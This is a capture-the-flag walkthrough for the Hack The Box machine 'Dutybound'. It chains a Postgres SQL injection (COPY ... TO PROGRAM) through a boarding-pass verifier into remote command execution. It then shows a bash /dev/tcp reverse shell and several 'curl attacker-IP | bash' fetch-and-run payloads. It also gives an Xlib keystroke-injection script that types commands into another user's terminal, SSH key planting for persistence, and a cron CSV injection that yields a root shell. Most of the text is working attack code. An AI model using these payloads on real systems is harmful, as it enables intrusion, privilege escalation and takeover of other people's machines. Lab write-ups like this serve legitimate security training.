HTB - Dutybound - Season 12
Reconnaissance:
We first look at the address for anything running using nmap, I did some fuzzing but everything is directly visible from the browsers links. Add something to the cart and go to the checkout and from there we’re going to try and send data to pass the boarding pass scanner.
nmap -sV -v -sC $TARGET
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://airsnacks.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: commonName=airsnacks.htb
| Issuer: commonName=airsnacks.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-26T08:17:18
| Not valid after: 2126-08-02T08:17:18
| MD5: 92f2 09e0 42c0 a192 764c a405 9309 aeda
| SHA-1: ebe4 fd3a 6ebd eb87 2399 e567 bbd9 d95f 9b8a 98bd
|_SHA-256: 76b0 4f78 36d9 e72a ddd7 6569 b866 6a86 0d75 8487 f466 3ebb 621b b8a9 4043 6e0e
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
|_http-title: Welcome \xC2\xB7 AirSnacks Self-Checkout
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelIATA BCBP: BCBP Pass online generator
BCBP payload:
M1SMITH/JOHN EABCD123JFKLAXAA 0001 300F012A0040 136>70B1KK6260BAA 25001
Explainations: - M - This is a mandatory field, it
declares that the BCBP starts here. - 1 - Is the number of
flight legs - SMITH/JOHN - Last name / First name -
E - For Electric tickets - ABCD123 -
Reservation number - JFK - Origin airport -
LAX - Destination airport - AA - Operation
carrier(American Airlines) - 0001 - Flight number(leading
0’s) - 300 - Julian day 300 of the year. - F -
Compartment code(First class) - 012A - Seat number(12A) -
0040 - Check-in number - 1 - Status:
Checked-in.
Payload all the things postgres in this section we find a working payload to exploit the underlying Postgres worker.
'); COPY (SELECT '') TO PROGRAM 'curl http://10.10.15.4:6969/test';-- This payload confirms command execution onto the server in a out-of-band manner, it sends the confirmation to our listener.
Use this script:
#!/usr/bin/env python3
import sys
import requests
BASE = "https://airsnacks.htb"
def boarding_pass(airline_use: str, origin: str = "LHR") -> str:
fixed = (
f"M1{'TEST/USER':<20}E{'ABC123':<7}"
f"{origin:<3}{'JFK':<3}{'BA':<3}{'0123':<5}"
f"298Y{'012A':<4}{'0001A':<5}1"
)
conditional = ">70B0WW6298BBA 03125" + airline_use
assert len(fixed) == 58
assert len(conditional) <= 255
return fixed + f"{len(conditional):02X}" + conditional
session = requests.Session()
session.verify = False
requests.packages.urllib3.disable_warnings()
session.post(BASE + "/cart/add", json={"sku": "SNK-CRN"})
response = session.post(
BASE + "/checkout/boarding-pass/verify",
json={"raw": boarding_pass(sys.argv[1])},
)
print(response.status_code, response.text)This doesn’t use the BCBP payload we created earlier but for some reason, you can’t send the SQLi using curl, burpsuite or NXC. The python script works so let’s just move on.
Reverse shell script:
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.4/6969 0>&1Run the script and send this SQLi:
python3 bgbp.py "'); COPY (SELECT '') TO PROGRAM 'curl http://10.10.15.4:8000/rev.shell | bash >/dev/null 2>&1 &';-- "Make sure you are hosting the file before trying to make the server download the file. Make sure you have a listener to catch the shell.
You should receive a reverse shell tied to user postgres.
Foothold:
In order to change user from postgres user to dutyfree-kiosk user we find that “CTRL+ALT+T” key combination should open a xterm window owned by dutyfree-kiosk. Since we aren’t in a GUI we need to send those keys programmatically so we use python.
from Xlib import X, XK, display
from Xlib.ext import xtest
import time
d = display.Display(":0")
def key(name, down):
code = d.keysym_to_keycode(XK.string_to_keysym(name))
xtest.fake_input(d, X.KeyPress if down else X.KeyRelease, code)
key("Control_L", True)
key("Alt_L", True)
key("t", True)
key("t", False)
key("Alt_L", False)
key("Control_L", False)
d.sync()
time.sleep(1)The above code allows the attacker to send “CTRL+ALT+T” key presses.
Host the file from the attacker machine with
python3 -m http.server and download the file onto the
server by running
curl "http://10.10.15.4:6969/keypress.py > keypress.py".
Run keypress.py on the server and check
ps -u dutyfree-kiosk -f this should show all processes
owned by dutyfree-kiosk and in the newest running
application you should see the XTERM generated by
keypress.py. Once you confirm you indeed generate a XTERM
under the dutyfree-kiosk user we run the
payload.py, this sends a curl command that downloads
another shell and runs it as dutyfree-kiosk resulting in a
privilege escalation.
Keypress.py:
from Xlib import X, XK, display
from Xlib.ext import xtest
import time
d = display.Display(":0")
def key(name, down):
code = d.keysym_to_keycode(XK.string_to_keysym(name))
xtest.fake_input(d, X.KeyPress if down else X.KeyRelease, code)
# Keys being pressed
key("Control_L", True)
key("Alt_L", True)
key("t", True)
key("t", False)
key("Alt_L", False)
key("Control_L", False)
d.sync()
time.sleep(1)This script uses some of the libraries on the victim server and
connects to a running session on DISPLAY=:0. Next the
script presses the keys “CTRL+ALT+T” and releases the keys.
Payload.py:
from Xlib import X, XK, display
from Xlib.ext import xtest
import time
d = display.Display(":0")
names = {" ": "space", ":": "colon", "/": "slash",
".": "period", "|": "bar"}
def tap(char):
sym = XK.string_to_keysym(names.get(char, char))
code = d.keysym_to_keycode(sym)
if not code:
raise ValueError(f"No keycode for {char!r}")
shifted = d.keycode_to_keysym(code, 0) != sym
shift = d.keysym_to_keycode(XK.string_to_keysym("Shift_L"))
if shifted:
xtest.fake_input(d, X.KeyPress, shift)
xtest.fake_input(d, X.KeyPress, code)
xtest.fake_input(d, X.KeyRelease, code)
if shifted:
xtest.fake_input(d, X.KeyRelease, shift)
d.sync()
time.sleep(0.03)
# OS command you want to execute
for char in "curl http://10.10.15.4:8000/rev.sh|bash":
tap(char)
tap("Return")The tap() function defined is used to simulated key
presses and we simulate all key presses for an OS command of our
choosing. Again this is send onto DISPLAY=:0.
Make sure you have a running python http server hosting your reverse
shell file. Make sure you are using a different port for the listener
then the one currently being used. Make sure you have a netcat listener
on the new port number to catch the dutyfree-kiosk user
shell.
You should now be able to read the user flag.
The shell dies sometimes so let’s get a better connection with ssh.
- Generate a key pair onto the server with
ssh-keygen -t rsa -b 4096. - Generate a authorized_keys folder with
touch authorized_keysin/home/dutyfree-kiosk/.ssh/. - Add public key to
authorized_keys. - Copy keys to attacker and set permissions
chmod 600 id_rsa. - Connect with
ssh -i id_rsa dutyfree-kiosk@$TARGET.
You now have a fully functional SSH connection to the
dutyfree-kiosk user.
Root user:
This part is unbelievably simple. Go to /opt/vrs/bin, there should be 2 files here.
vrs-dcs-sync.cron content:
15 2 * * * airsnacksdf /usr/bin/psql -d airsnacks -c "DELETE FROM duty_rate; COPY duty_rate FROM PROGRAM 'cat /opt/vrs/data/duty-rates.csv' WITH (FORMAT csv)"
apply-duty-rates.sh:
RATES="/opt/vrs/data/duty-rates.csv"
...
...
...
# Replace table
psql -v ON_ERROR_STOP=1 -qc \
"DELETE FROM duty_rate; COPY duty_rate FROM PROGRAM 'cat $RATES' WITH (FORMAT csv);"The root user runs the content of
/opt/vrs/data/duty-rates.csv as the root user. We prepend a
shell to the csv.
Root shell fetch:
true;curl -s "http://10.10.15.4:8000/root.sh|bash;#,6,9"This is then passed in to
eval "${tax_class}=${duty_pct}" which executes the payload
as root, sending a root sell to the listener inside our
root.sh.
You can read the root flag now.